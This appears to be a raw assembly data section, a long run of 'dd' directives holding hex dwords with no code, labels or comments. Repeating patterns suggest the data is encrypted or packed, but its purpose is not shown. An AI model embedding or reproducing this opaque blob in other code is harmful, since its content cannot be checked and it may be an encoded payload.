		dd 86BC8883h, 0E7FBADD0h, 5EA0756Eh, 0A950FFEDh, 3AC9C569h
		dd 0B792F764h, 18EDEA04h, 0A0F470F7h, 2168ADA5h, 0F0075563h
		dd 0A1C71F7Fh, 0AD915559h, 49EDF7A0h, 7AB7AE52h, 4B3EFE0h
		dd 0E7FFEDCBh, 6A3765AEh, 0A2F000EDh, 9E74569h,	5563E7A2h
		dd 867FF047h, 0FBB48BE7h, 0E7F0ADACh, 0A674DC75h, 0A3B11AEDh
		dd 0F3C68675h, 556BF7B3h, 0FF3FEC44h, 0B649AFE7h, 0C8DCEDC9h
		dd 0C44649A5h, 0E9002F2Dh, 0AD8CE945h, 51E4E7D5h, 0BC82D7C4h
		dd 0C78818E7h, 0F7952DEAh, 0DC85456Bh, 45C7E730h, 0ADCEC4DCh
		dd 5121F797h, 0A56DD1C7h, 465125E7h, 70AE6DD9h,	97E3CC35h
		dd 2AC7952Dh, 0EDEA8565h, 7DA9C70Ah, 0A5AD8FECh, 7375E0E7h
		dd 0F7B0F457h, 0D3049085h, 0E7F7DF2Dh, 82A76B51h, 6D269FE4h
		dd 0F5EDF504h, 1159ABA0h, 0C7DFAD63h, 85BF69A8h, 64203B3Ch
		dd 36E1C561h, 0E8F6C7E0h, 61ADD105h, 0C52876E7h, 0D0C52DDDh
		dd 0CBC54122h, 0E6E7E4B1h, 0F4F74641h, 712A53F2h, 25ADDB85h
		dd 857163C7h, 0B067ADFAh, 0E4064DA2h, 2AC75E6Dh, 0C8F60559h
		dd 0E4F4A161h, 0F071C785h, 843FDDB1h, 33A42DDDh, 94FAD43Ch
		dd 0AAC7842Dh, 0EDF20451h, 6128C718h, 0B2DC3C7h, 2C6522CCh
		dd 0F73C408Dh, 0D6C41C3Fh, 2DF71970h, 0EDE4C459h, 0C28C0E9h
		dd 7A2DB5E3h, 0AF59E0E7h, 0A150B0BFh, 0EA86C439h, 0AFBCF534h
		dd 0EDF64645h, 0FBF928Eh, 0D308D5C5h, 460736D7h, 0F7186DFAh
		dd 0E30636FAh, 12E747FBh, 2DB56198h, 0B4F0A045h, 0D1F4E985h
		dd 0C704FEE7h, 0D029EDE4h, 932D4D6Ah, 6123DA6Dh, 77C1C74Dh
		dd 716AF7C5h, 0E4F2F905h, 55D22E7h, 61F42DCEh, 0A3A2CC66h
		dd 0E6E7E52Dh, 74DEC445h, 71EAD739h, 2034A5DCh,	65DE591h
		dd 0D76FEDE5h, 0E64555E9h, 6BE7C7EDh, 6DDBC598h, 75A9C7D5h
		dd 0F1EDFDC4h, 86F4B7B1h, 0D7379CC1h, 59605123h, 0A2F7E9F3h
		dd 83E1C571h, 2881F758h, 0A52DE386h, 0B171E6E7h, 6211ED86h
		dd 8156BBA2h, 95F735F3h, 2DA86BBCh, 4529E7D6h, 0B943BDBFh
		dd 847DA093h, 9182F1FEh, 0A8377965h, 6213E5ADh,	0ADE40738h
		dd 7D60C709h, 86EDC507h, 0C56561F7h, 0C76C6DEFh, 0EF467565h
		dd 0A2E7246Dh, 0EDEF4579h, 0A4E80034h, 146DA6FFh, 545E5F7h
		dd 0C7792DD9h, 0F90545A5h, 0E5C7382Dh, 2DC3C56Dh, 656AE7EBh
		dd 0D02DBD9Eh, 545A942h, 91672DE1h, 0E44641EDh,	0E8F7B8EDh
		dd 3387E36Dh, 716E3175h, 792D9AC9h, 679E5C7h, 0F7072DFCh
		dd 0FB8449E9h, 29A13EB5h, 0EDC00659h, 7DECF7C0h, 3163BDAFh
		dd 228424D7h, 0D727EDBDh, 0EE85842Eh, 0A7E7F66Dh, 3CD28575h
		dd 6DE6D7E1h, 992DD286h, 2F84AE7h, 12ECEDA9h, 0E44649E8h
		dd 6D911BADh, 0FAF98455h, 84D7E7F0h, 9F2D7479h,	8649E8F7h
		dd 0F75F2DF4h, 0CC8645E8h, 5C7B873h, 0F6ED06A8h, 75A3E718h
		dd 0DBFA97B9h, 679A4A1h, 0F7252DC3h, 0EB046DE8h, 56F72BEDh
		dd 0EDED0438h, 49A5D779h, 78FACC05h, 0C45DE5F7h, 0E707F2C7h
		dd 0E784C8C0h, 0E5E7E12Dh, 0ED450061h, 65ABE705h, 0D52DFC06h
		dd 394168F7h, 0E712EDBDh, 0FA85E486h, 56C7FE2Dh, 0C2BBDB34h
		dd 9489F784h, 9F2DFB05h, 48062F7h, 0E793EDFBh, 0EE457524h
		dd 0A7E7E66Dh, 2DD4C761h, 71E9BFF0h, 0D1B4B8C9h, 39C043E7h
		dd 0C705EDB1h, 89AE7DE8h, 1F0A8DEDh, 52D08686h,	0F888C753h
		dd 55B27C39h, 4B31FD7h,	0F7936DDDh, 0C6858496h,	4C621A02h
		dd 0ADA53DACh, 6DA4C739h, 39ED853Dh, 0C559A5C7h, 0D7D16DC8h
		dd 0D3064DE8h, 0E9F75534h, 0EDFA064Dh, 59EBF7C5h, 0DB2DF685h
		dd 0C16DE9D7h, 2CDEF4A5h, 55A1A14Ch, 9AF7A002h,	2DE747B2h
		dd 7DEBE711h, 462DB522h, 46EFB571h, 81692DE6h, 0B6A1A4D7h
		dd 0E6D730ADh, 0FABA2659h, 0B8F22060h, 2FFADDC4h, 6796820h
		dd 32172DFFh, 0ACC0716Dh, 0D483766Dh, 0EDF60492h, 0EDF00E10h
		dd 0E0BCB960h, 682094C7h, 3C2DE2BEh, 0D9C6AE57h, 62F736F4h
		dd 2DCEC45Dh, 0E45DF023h, 1FE25CE3h, 8641E8F7h,	0C7138AE1h
		dd 0ADE30C51h, 0EC3CF12Dh, 0EDB10345h, 349324F2h, 0E7828CE2h
		dd 987967D7h, 12C4EDBEh, 0F2C554F8h, 0BCF7E13Ch, 0B4F6C5F8h
		dd 18D881B1h, 0A182D184h, 7C6F4B5h, 0E7E16DC1h,	0C746C045h
		dd 0FAF7FFADh, 2DFDC410h, 5967E79Fh, 1A2DD887h,	5456EE7h
		dd 6325EDF4h, 87CD79E0h, 0E720B57Fh, 0F6A4065Dh, 41A52167h
		dd 5B6DD446h, 0C664C4E7h, 5325EDFCh, 118D41E6h,	2AC73C2Dh
		dd 6DE107C4h, 60C5D761h, 0B4C7E245h, 4641EBE7h,	0E799EDD4h
		dd 8CD0E4C4h, 0C0E7AF2Dh, 0B7E34657h, 41AB6FF1h, 0F1EDFC46h
		dd 85E06B6Fh, 0E7B687F5h, 0DC46416Fh, 0C2F75C2Dh, 2DCC07C7h
		dd 0F342E799h, 782DF9C4h, 0AC61EA61h, 617A2D71h, 8CED574Dh
		dd 2D7DC72Dh, 0FEE00445h, 4529C79Fh, 246D682Ch,	0C6E8CF63h
		dd 0F7D14FE5h, 0E5076D6Bh, 6BF7CD4Fh, 7FEDC645h, 69E4E7CBh
		dd 8DFFE685h, 0CD45A3D7h
		dd 0F7E6AD90h, 0C786716Bh, 0A663E12Dh, 6D6AEE69h, 6C036DD7h
		dd 2AADFA85h, 0EE696063h, 63D7AD58h, 0E686556Eh, 49E73907h
		dd 0B7B02A60h, 5121C7F0h, 0E0EDA54Eh, 4460C5D7h, 0E7D50FEDh
		dd 0F446F40Eh, 6B309DBFh, 0FEF5C665h, 6927E7CBh, 58AD62E9h
		dd 4C0044Fh, 632A2DD5h,	50EC6926h, 17FD7EDh, 0FEF587D4h
		dd 45282193h, 0B6ADD446h, 6EF398F7h, 0C7A3C6A6h, 0B56C7348h
		dd 6E63FBEDh, 0C6E60455h, 5349E724h, 0D1ED9EACh, 0E969EF6Dh
		dd 40762D50h, 0EDC573C0h, 2A71B24Fh, 97CC4659h,	0D39DE798h
		dd 9F6DE5C4h, 467128F7h, 0C7C187D4h, 71ABF409h,	9DE7927Fh
		dd 2DB0EF73h, 0D0013FC4h, 0BC4EE1C6h, 0EB75A971h, 0E2DC6D68h
		dd 0F147CCCFh, 0A7E78646h, 6D7AAF5Dh, 41292FC2h, 0C26DEB46h
		dd 0C7FC0D3Fh, 41094EF9h, 618B5522h, 0A2C79F2Dh, 2D6D8B55h
		dd 5523C79Fh, 9F6D518Bh, 0CB7522D7h, 0E738F668h, 8A2C539Dh
		dd 0EE2FC4ADh, 0ADC24641h, 5DA62FCAh, 14AD69AFh, 0AF5DA12Fh
		dd 2FC2AD64h, 0D546412Eh, 2F2FC2EDh, 4EB9ED51h,	55E76162h
		dd 0E3775E8Bh, 47771CE7h, 23C0B6F3h, 0F087456Eh, 922D72EDh
		dd 6DC64640h, 5406D71Eh, 0DB81F807h, 4E51A3F7h,	0D760EDA9h
		dd 0D4465CC5h, 6BB29DB9h, 2DC4456Dh, 7DE663E1h,	3B2D7934h
		dd 0C4E883FEh, 63E12DC6h, 0E685556Dh, 0E2F757FFh, 81D307B7h
		dd 87E2F7D5h, 25EDF205h, 3461AE43h, 0EC4E6D59h,	8014612Fh
		dd 0BCC752C6h, 6D66AD88h, 9CEDB0E1h, 0E0DFC785h, 0C56D6BF7h
		dd 61E12DDDh, 0CC457787h, 0AAD7182Dh, 2D9D8D65h, 6162FC4Eh
		dd 0E36D4534h, 4458C5D7h, 71AC41D8h, 0A46D45EDh, 98021EDh
		dd 2D6176FCh, 49A0DC98h, 0FD776814h, 265DEDC7h,	0F7C637AEh
		dd 0FF84456Bh, 0E0E0A8C8h, 0B170914Dh, 0B374C7F7h, 42ADF907h
		dd 116D267Dh, 4D42AD51h, 0A4914DE6h, 0A45DA937h, 6D713461h
		dd 51257DA9h, 0D02D2B17h, 467406D7h, 0E71BC7D4h, 914E51A3h
		dd 0C5D763EDh, 80CB0660h, 0BBF2D7C4h, 67B8CB46h, 87492F7Dh
		dd 0F7E2FFF5h, 0E786B3AAh, 6C518648h, 0ED75F34Dh, 68C5D723h
		dd 0FD80CBC6h, 783FFF7h, 0D7B840E7h, 0EF46D49Ah, 23610378h
		dd 0AD51AF5Dh, 612DAC47h, 456D7973h, 87452EBCh,	51CD35DBh
		dd 0F64749E7h, 0ACE78838h, 0F7ED0655h, 4DE8C7DFh, 1386E0C4h
		dd 0B25DECA0h, 9E1D2D60h, 9AE7E755h, 0FFF7D7FFh, 0B8CB44B3h
		dd 55AB4DE2h, 9FE7C785h, 67DA9C7h, 0E7D9C6D8h, 0C6877D6Bh
		dd 2AE7CB08h, 0ED5B7361h, 64974CE4h, 542DC804h,	4641E7EAh
		dd 7CE66DD1h, 0A26D7D22h, 0ACD01D2Dh, 0FFDA0555h, 0BF6CC7E9h
		dd 1E48D585h, 33456131h, 0F7A4BF41h, 692C28ACh,	0C4E7432Dh
		dd 41FF4474h, 61E3D7D8h, 33AD12A8h, 46C02AC7h, 0E7976DD0h
		dd 0A63D50C4h, 82F792FFh, 0ADAC0987h, 456E6220h, 1741FF86h
		dd 4D3482F7h, 0E7282D8Ch, 0FF06978Ch, 0CC78B41h, 0EDA0AD93h
		dd 55E28E65h, 85CBDAC7h, 8455A9D7h, 0D7D2C0E6h,	2D1F5DEFh
		dd 0B5E7656Dh, 2DE5863Ch, 756F6A4Ah, 932D6DBEh,	0C6872A4Ch
		dd 0F7DF03F1h, 692951AAh, 6EE7DFEDh, 8C1C441h, 5D6BA06Ch
		dd 0DF23D847h, 3E51AFE7h, 0F7432DCDh, 0F546850Ah, 6B649A6Dh
		dd 23D8C77Dh, 5122E7DFh, 792DCD3Eh, 46850AF7h, 649AADCDh
		dd 0D8845D6Bh, 0A0E7DF23h, 2DCD3E51h, 850AF777h, 9AADE546h
		dd 57D6B64h, 0E7DF23D8h, 0CD3E5127h, 0AF76D2Dh,	0EDFD4685h
		dd 903A7E9Ah, 7D41C085h, 6EED7D7h, 0B2112DCEh, 0ED06144Ah
		dd 0AA2FB4ADh, 6D417B75h, 0C416128Fh, 0DF2DCDC5h, 44A65EF7h
		dd 0F7C187E6h, 0B1BD1799h, 64288B2Dh, 0FFE6855Dh, 85FF7FAh
		dd 2FB663ECh, 448F5B2Dh, 0F0AA0AC8h, 0AE1A712Bh, 6BF7E937h
		dd 2DF8877Dh, 456363E1h, 9EAD757Ah, 0AA79A23Ch,	0E7836DA6h
		dd 5BA1B7B9h, 0A6BFA3EDh, 2DFA47B0h, 416209AAh,	0E06D1D3Bh
		dd 8141E78Dh, 0D787B778h, 0B16E58F6h, 99F7E1C4h, 0B2FA4617h
		dd 59E5A92Bh, 0DAFCF085h, 2659E3F7h, 0E7E3AD8Fh, 0DE854D6Bh
		dd 0E693EAEDh, 0EDDEC641h, 59A2E795h, 0E52DE285h, 65D68E7h
		dd 0F7E5ADE7h, 0E1C4456Dh, 0E1E714EDh, 0F8E6C545h, 7925A305h
		dd 65EDB5E3h, 0C575E5C7h, 0A1C46DE5h, 0E74649A4h, 0E9E729EDh
		dd 0EDCD4769h, 0E8B4F785h, 0AADF2C6h, 4361E6E7h, 0D7272D8Dh
		dd 8DA1652Ah, 0EDE7D9ADh, 32BAE36Dh, 5836E7B4h,	0F0F4DA84h
		dd 0C7F77FE7h, 0C75B44C8h, 0D207D3FEh, 0A0C71544h, 0ADF5075Dh
		dd 4DA59DCFh, 0FF35DB85h, 0C761A5D7h, 0D74C7CD6h, 0C184DFBEh
		dd 7FE7C77Ch, 0ADCE06D7h, 65A4A3D2h, 86D6B62h, 4F4BFB9h
		dd 0D7DC44CDh, 0C585DFFAh, 0BED77804h, 74C544C6h, 5D63B309h
		dd 0C2AD4DC2h, 45FB7FE7h, 0B3D2ADC7h, 766265A6h, 0BFBF56ADh
		dd 44CD07C4h, 0E7FAD74Fh, 0EA04C5C4h, 0E6BED7h,	0F76BED90h
		dd 0E020D1B2h, 0BCB58664h, 2DA983D1h, 0F4F89D8Dh, 5344CD86h
		dd 435DA9F7h, 9DDDADAFh, 8D554D2Bh, 0E8A1113Ch,	0ED5D6345h
		dd 5C38E7A3h, 107C9623h, 0C6D60CE7h, 414B2DE9h,	0D544C44Eh
		dd 0A9ADDDADh, 2D66AF55h, 75ECE78Bh, 917CCC84h,	444440F7h
		dd 8DDD6DF5h, 5FCE792Fh, 4E494B57h, 44C207C0h, 59ADF79Fh
		dd 1135DB84h, 864B3E81h, 0B1E12DD7h, 0D006D87Bh, 2A9D90EDh
		dd 2DD58571h, 0D8FDC7C1h, 0A9048821h, 8165EA70h, 0C79FC7A0h
		dd 0B68949A3h, 7FE7FC34h, 6DDD46C3h, 0F87BF15Ah, 0BD6D176Dh
		dd 1D82AC7h, 0C7D50797h, 0A9544563h, 27D79F47h,	0F6A28F6Dh
		dd 6E157DCCh, 0FF1FC76Eh, 565EDE7h, 0F7D6C6EEh,	0A0E36DECh
		dd 22F7D56Dh, 0ADF5C57Dh, 7966D7DFh, 1735DA05h,	0CE5DED61h
		dd 0F76F2D8Ch, 0A9265966h, 1DF0DC0Fh, 6DF68544h, 796FD747h
		dd 0B52DE507h, 447121C7h, 0E755EDF7h, 0E0C44D64h, 6BD7146Dh
		dd 0ADC4C555h, 612AE7F0h, 652DE0C5h, 0C655A8C7h, 0F7C42DF7h
		dd 0D8C461E8h, 2DE7E36Dh, 6DCF8541h, 5562F76Ch,	0DAADC1C4h
		dd 8455EFF7h, 0D7B5ADD2h, 0F08641E7h, 0ABC7D1EDh, 0ADEFC445h
		dd 75A2E77Dh, 0F4EDE845h, 465527F7h, 0C7412DC7h, 0D8854564h
		dd 0E5D7AD6Dh, 6DF1875Dh, 71A0F7F4h, 90EDF747h,	0C6412DE7h
		dd 0C793ADEDh, 0DE84796Ch, 2DF7B46Dh, 2DD3845Dh, 69EBF755h
		dd 0D1ADF084h, 64DE1F7h, 0F7346DDAh, 0EF056126h, 6AF7B1ADh
		dd 7CAEC349h, 6967C778h, 0C3EDE5C5h, 4714E5F7h,	0F7CAF9E4h
		dd 0E4C61CE5h, 0E5F752F9h, 0F9E40624h, 6D67D7E5h, 0A36DA3F5h
		dd 87547DDCh, 0E065EDC8h, 0A15541ECh, 0E2C2AF6Dh, 0AD855541h
		dd 41A1C2AFh, 0AFED9355h, 5541A7E2h, 0E2AFEDAFh, 0E74555EAh
		dd 21F7D3F1h, 0B9E8071Ch, 2421F74Eh, 0C4B9E847h, 43421F7h
		dd 0F7FCB9E8h, 0E8843C21h, 21F7F7B9h, 0B9E8051Ch, 0C21F76Eh
		dd 64EDC687h, 0C60422F2h, 0F7D1B9D8h, 0D8860C22h, 22F7DEB9h
		dd 0EDC1C52Ch, 71A4E065h, 80ED8997h, 977126E2h,	0E280ADADh
		dd 89977120h, 0EDE280ADh, 6DAB9771h, 712CE280h,	806D9797h
		dd 0D49CEBC2h, 0F7DF79B0h, 0F0063CACh, 0A7F7E479h, 39B4977Dh
		dd 0CE8F76Fh, 0F739F405h, 840CE8F7h, 0F77F39F4h, 0F40404E8h
		dd 0E8F74739h, 39F48704h, 3467F7CEh, 5439F407h,	863CE8F7h
		dd 0F75D39F4h, 0F4461CE8h, 0E8F75B39h, 0EDC38524h, 7124C065h
		dd 0A0ED9791h, 9171E182h, 82A0ADB9h, 0AD9171E2h, 0EFA2A06Dh
		dd 6D9D9171h, 7169A2A0h, 0A02DBD91h, 9171AB82h,	0A2A02D9Fh
		dd 0E7457925h, 71F76DF1h, 0B8EC0504h, 3C71F7F7h, 0FBB8EC44h
		dd 0C73C71F7h, 0F743B8ECh
		dd 0EC473C71h, 71F748B8h, 0B8EC862Ch, 3C71F7DDh, 0B680EC06h
		dd 0D451A4C2h, 0C2B6EDA3h, 8D9551AAh, 68C2A22Dh, 2DAB9551h
		dd 512EE2A2h, 0A26D8F95h, 95516CC2h, 0C2A26DA1h, 8F9551A2h
		dd 0E9E2A2ADh, 2DB55541h, 41EBE2AFh, 916D8355h,	0C5F75AC2h
		dd 0E7C574EEh, 0ACD27165h, 0A59294EDh, 0EDA3D271h, 2488A294h
		dd 0D006DFC7h, 756DE7C7h, 0C7AFAD1Fh, 0BD52006Fh, 0E1829FADh
		dd 0ED955241h, 41ACA29Fh, 9FEDA352h, 4545EA82h,	0A29F78FFh
		dd 0BBDD71E4h, 6742A4EDh, 0ADB1DD71h, 61E1E2A5h, 0A5ED8BD5h
		dd 0D56124E2h, 0E2A5EDAFh, 8952412Ah, 68A29F2Dh, 2DAD5241h
		dd 4164829Fh, 0A42D8552h, 0DD71A962h, 42A46D95h, 0ABDD712Ch
		dd 6242A46Dh, 0AD8FDD71h, 716042A4h, 0A4ADAFDDh, 0DD716662h
		dd 829F6D9Fh, 0E0C5CB5Ah, 0B9F7E638h, 38E00500h, 1CB9F726h
		dd 0A4B9D884h, 0C50CB9F7h, 9CD438E0h, 0A3D27123h, 0A6E2BAADh
		dd 0B11451h, 34B9F760h,	2038E085h, 950CB9F7h, 7C807195h
		dd 0E0C510B9h, 0EDA34738h, 18F00469h, 3C22F761h, 0D738C406h
		dd 0D271E48Ch, 9294EDB5h, 0B6D271ACh, 0BBAA97EDh, 69F1413h
		dd 1424F775h, 0E9F9F885h, 2A0C24F7h, 0A3071B1Ah, 0D5467569h
		dd 0A8C7506Dh, 6DE0064Dh, 61EEC7F7h, 94EDE804h,	0C775AFF7h
		dd 0F7DB6DC8h, 0FCB96169h, 0E6F744DAh, 2DF0C555h, 4525D787h
		dd 0E4F2F206h, 0C575A6C7h, 0C782ADC7h, 0E385652Bh, 0D6C7696Dh
		dd 0ED16198Dh, 0BE560469h, 4C6DC307h, 0C66169F7h, 0D78C6DFEh
		dd 0CE0765E1h, 6DE79CADh, 2DCB0475h, 59ACC7CAh,	346DFFC5h
		dd 8541ABD7h, 0E78C6DDEh, 0EA877DA1h, 0E1F73E6Dh, 0EDDB8641h
		dd 512EE7DDh, 0BBA2D4C5h, 8475621Ah, 0C76EADF5h, 0C547456Fh
		dd 0AEF736ADh, 0EDFA045Dh, 61A1D7B5h, 3BEDE585h, 9B81DCF1h
		dd 0D7E1ED0Dh, 0E146612Fh, 69D7CB6Dh, 6DC0C475h, 5524E7A8h
		dd 0DEDF405h, 8649E8F7h, 3489EDDDh, 0F7871E5Eh,	0EBE76F2Dh
		dd 6DE50671h, 75A1C754h, 3EDF307h, 75126C7h, 0C7A42DFAh
		dd 0E6076922h, 0AEC7C1EDh, 2DE0845Dh, 6961D7F7h, 0CAADC9C7h
		dd 0C47D60F7h, 0E72B2DD9h, 0E8076567h, 0EDA1A0EDh, 0ADE40741h
		dd 75A7D7E5h, 29EDC9C4h, 457D69D7h, 0E7A12DF5h,	0CAC769AEh
		dd 68F73670h, 0EDFCC561h, 55A1E7ACh, 17EDD645h,	8665A7C7h
		dd 95E5EDF4h, 0F50661AAh, 0AEF7E9ADh, 2DEA8745h, 6D6ED7A1h
		dd 0E570FEC7h, 0C65D2EF7h, 0D7FCEDEEh, 0C7A14DEAh, 0E9641AD4h
		dd 0AD232145h, 7DEEC7C4h, 0C86DD487h, 854D6EC7h, 0C7C2B2FAh
		dd 0F80574F7h, 0A5A0D1EDh, 0E4989245h, 5DE4A3B4h, 3C74C7C5h
		dd 0C465E4E7h, 0F7B3EDE5h, 0CC845433h, 33F746BCh, 0BCCC4746h
		dd 249AF751h, 7EAD4C20h, 4461A2C7h, 0E7BFADC9h,	0D64565A3h
		dd 3DE779B5h, 0EDC544F8h, 6923D7F9h, 0F8ADCC04h, 445963F7h
		dd 0E7E5ADCBh, 0CA0476BCh, 0E7E73EADh, 74C44455h, 80A4D73Ch
		dd 4B2DA040h, 44C8BDC7h, 81442DEDh, 0F74461E3h,	3F910674h
		dd 0ADC444E8h, 80F49F02h, 48EDCA84h, 447167E7h,	0C7A12DF4h
		dd 0A5BB51ACh, 24C7DBEDh, 0EDE8C551h, 5526F7DDh, 3EEDDCC4h
		dd 866D26E7h, 0D785EDF4h, 9CC16D62h, 3AC708B5h,	0C49D22E4h
		dd 7DE9D7E9h, 0D9C49DE3h, 0C6716DA5h, 0D7E274E3h, 9D604D25h
		dd 3EA38AADh, 0ADCB84F3h, 0F823C73Fh, 0EDADCB04h, 445A3F7h
		dd 0E7BCADC6h, 12E24DE2h, 0E453A6F1h, 24DFC641h, 61658959h
		dd 0EBE41D0Dh, 559EAA9h, 0E729A7F5h, 452104B9h,	76A5EBA7h
		dd 38F506D9h, 0C576A5EBh, 0D96DA501h, 2A652DA5h, 95EBE49Dh
		dd 0C6ACC9C0h, 0C095EBA7h, 0D4DD07DBh, 66CC3379h, 0EB67E5AFh
		dd 0C6CDFAA5h, 855B2DF6h, 0F105CAFAh, 0FA855B2Dh, 2DF0C5C2h
		dd 0C4FAA55Bh, 442DF286h, 9712BA1h, 0ADEB2499h,	0DF864128h
		dd 0E4A95924h, 24DF8649h, 55E39959h, 0D924DF86h, 865DE0B1h
		dd 0F7BC74E3h, 0D6446892h, 0EBE7BEADh, 0E49D1F55h, 0A7E7C7E5h
		dd 1EDE045h, 214564F7h,	0F70C24D9h, 8EE37DABh, 3A238C6Dh
		dd 0AD5D21C5h, 0ED7AC71Ch, 9FAD1F22h, 0C4E8BDC7h, 0F779ADCAh
		dd 0FB0445A1h, 0E2C7F174h, 0AD80E279h, 10C9E739h, 3DADD644h
		dd 44F019F7h, 0E76EADC0h, 9AE271A3h, 0A1F7E524h, 24DF067Dh
		dd 7965A959h, 0D014DF06h, 0CBA465A2h, 0E72533BDh, 0E7C5BC65h
		dd 0A5E7E1EDh, 0ADE0C471h, 71A5F7B4h, 0A4F1F9C5h, 565A6F7h
		dd 0E7F1EDE5h, 0CD45E776h, 0E0E7EBEDh, 0F5E28445h, 65A6D7E5h
		dd 30EDD505h, 0CF61E0E7h, 0E7EDED85h, 850A1C79h, 0E3E7FFADh
		dd 0B1E64465h, 65E2A1EBh, 0FBADDD04h, 0C58461D7h, 0D7E5F9CBh
		dd 0EDC5C4B0h, 27D22BEDh, 81B57598h, 0C576A5EBh, 0EBE4DD21h
		dd 21C576A5h, 0A5EBE4DDh, 0DD21C576h, 76A5EBE4h, 0E4DD21C5h
		dd 0C576A5EBh, 0EBE4DD21h, 21C576A5h, 0A5EBE4DDh, 0DD21C576h
		dd 76A5EBE4h, 0E4DD21C5h, 59E7AFEBh, 0FF8882EBh, 458473A4h
		dd 8C7BB8DCh, 0CD708472h, 73A4FFA0h, 0AD6D7085h, 8CE4E226h
		dd 4F604F73h, 0C7B67F84h, 0ACD738E2h, 4FF28579h, 0EDB84F60h
		dd 8F5241h, 0E4DDAC5Fh,	580093EBh, 32BDBA84h, 844F20D3h
		dd 8461A37Fh, 474C6FF4h, 0B4BFA08Fh, 0BD864C68h, 68E3D33Dh
		dd 70857F44h, 0A5EBE49Dh, 0DD21C576h, 76A5EBE4h, 0E4DD21C5h
		dd 0C576A5EBh, 0EBE4DD21h, 21C576A5h, 0A5EBE4DDh, 0DD21C576h
		dd 76A5EBE4h, 0E4DD21C5h, 0C576A5EBh, 0EBE4DD21h, 21C576A5h
		dd 0A4FFA0C3h, 0DC448773h, 0B3943CA0h, 0A0C270B9h, 817FB40Dh
		dd 1560CC73h, 0F2B9B994h, 0B41D60CCh, 897A55E5h, 0E53CDE02h
		dd 2923A79h, 0A59A1418h, 0A5E4E5E1h, 5DBD7FC7h,	0A1EEED64h
		dd 6761D737h, 0B6D1A5EDh, 0E4D221FBh, 0D9B69528h, 3CA0C2A1h
		dd 60F9B395h, 953CA4C2h, 0C060F9B3h, 0F7B5AD60h, 0DCC461E1h
		dd 0E339F7E0h, 0AD24EA61h, 0E1E5F5ABh, 0A5E5E4E5h, 0E5A1CDF5h
		dd 76A9E5E4h, 0E4DD21C5h, 0C576A5EBh, 0EBF4C521h, 0E1E576A5h
		dd 0A5FFA081h, 0CD309D52h, 73A5FFA4h, 64CD60C5h, 0E5F7A5EDh
		dd 0D720E361h, 61A5B884h, 24DE22CDh, 0E5E1E5F5h, 0F5A5E5E4h
		dd 0E4CD61E5h, 0C576A5EEh, 0EBE4DD21h, 61E576A5h, 0F5A583C3h
		dd 0FCA5E165h, 67F5ADE5h, 0E5DC25E1h, 0E161F5B5h, 0BDA5FCA4h
		dd 24E163F5h, 25189DDCh, 0E60475E5h, 0E5D775EDh, 0ADF12A27h
		dd 0E45AC7A4h, 0A7ADC72Ah, 4455A1C2h, 0C774ADD6h, 0C04471E2h
		dd 0E0DC20ADh, 0ADD14471h, 55E3F770h, 62ADD044h, 7575A1DEh
		dd 0E7B5F9FDh, 0CA445523h, 3E73DADh, 0ADC044CBh, 7123C779h
		dd 29ADC944h, 455DE6C7h, 0F0EAADC1h, 15B4A5E3h,	60315E2Dh
		dd 0B7490AAAh, 3E20D7DDh, 0E5A1F57Ch, 0D771EDE7h, 0D7C5B9BAh
		dd 0FAC664DAh, 0A3D7D5B9h, 2DAFF73Eh, 6161F759h, 9979C504h
		dd 0C46DE3E7h, 0E7A66DC7h, 0FCC7106Fh, 6AE719ADh, 0EDFAC66Dh
		dd 61AFF77Eh, 8559D5C5h, 475E3F7h, 0E77EADC4h, 0C044EB03h
		dd 21D7BFADh, 0F1D8443Fh, 55E2C73Eh, 3EAD884Ch,	447DA3E7h
		dd 0E7BC87C9h, 0D7046562h, 0E6FAD2EDh, 0BFC90565h, 69A3D0AAh
		dd 3EAD5556h, 7659A2D7h, 0EE1F014Ah, 0DA2A08EBh, 65F72B2Dh
		dd 0ED9A2A4Dh, 71E1B2A0h, 0FFADD104h, 445DA3F7h, 0D7BFADD1h
		dd 0E8C461E3h, 0E0E7F4ADh, 0ED1A9485h, 59EF05D9h, 5926DFC5h
		dd 8561A019h, 9AF326DFh, 92A4DE4h, 0E4C71687h, 16DB706Dh
		dd 4DA4C7B6h, 0BAADB42Ah, 0C4CFDAA2h, 15BEDF1h,	95D34121h
		dd 0A4F7E306h, 0EDB92A4Dh, 0D51AA280h, 0A36D556Ch, 2AED5AC7h
		dd 0C723AD35h, 8F6C95F3h
		dd 0DAA28BEDh, 0EDFBC6C9h, 0CADA055Bh, 5BEDC785h, 87F6DA05h
		dd 15BEDC1h, 0C40471E2h, 0A3F7BEF8h, 0B1E04565h, 94E8D779h
		dd 0F6ADB148h, 846921D7h, 0B81BADF6h, 0C9C54D25h, 61F731BFh
		dd 0ADE2C45Dh, 0F70364A7h, 0B6ADEAC4h, 0BD71E1F7h, 0C8F1E3ACh
		dd 0D5057DE0h, 66F769EDh, 0ED88FD59h, 45A0E7EDh, 0EDAD9664h
		dd 465E3F7h, 0D7FEADD5h, 8CF6A4F7h, 23C73EADh, 0B3EE4565h
		dd 0F423C77Eh, 0D8EDC504h, 471E7A2h, 0C7BFADD6h, 0C5447923h
		dd 81B262EDh, 0F0C744A8h, 887AC778h, 76B5977Ch,	447D235Ch
		dd 0D7B68BC7h, 96329CF7h, 805078ADh, 0ADEB459Ch, 65A0E7B4h
		dd 98ADF745h, 84656588h, 0F7BCADC9h, 0DF0469E3h, 1D73D30h
		dd 0B38DF6A0h, 9981587Dh, 0F4ED82FCh, 471E250h,	0F011B3E2h
		dd 88BF3CCFh, 0A3C7EDADh, 31BD1259h, 59E7E0E2h,	0BE3BA7BCh
		dd 451F01E7h, 6CEBCBEAh, 503D5166h, 8CF1BD30h, 0AD8A7CACh
		dd 6D637257h, 0BFF18271h, 324D62C7h, 4074F0BAh,	523D8604h
		dd 807CAAEDh, 0AD8A71A7h, 0F4A3D7B8h, 3CAD953Fh, 0FEAC7A40h
		dd 0C738F158h, 0D37E9C01h, 0A4EF633h, 0ED933D8Dh, 81D434A7h
		dd 0F873D1B9h, 7971A3E7h, 34A8E2C8h, 0D8053046h, 0A2F7F9C3h
		dd 0AD93DE45h, 0B04EC7BFh, 95F1C204h, 5C84BA70h, 0D0EA8BAAh
		dd 0D105AD88h, 0D434A7EDh, 0EDC5B981h, 0A401D732h, 2E339476h
		dd 3B90E9E7h, 4C1CB347h, 9925A50Ah, 0B749CCBh, 0F0856498h
		dd 80CD4C43h, 45B5815Eh, 3E9C6920h, 6ADDF5D5h, 0CD4430EBh
		dd 0A3E7BCB3h, 0E36C1E41h, 35524D1h, 0BEFCF4E1h, 4455A2F7h
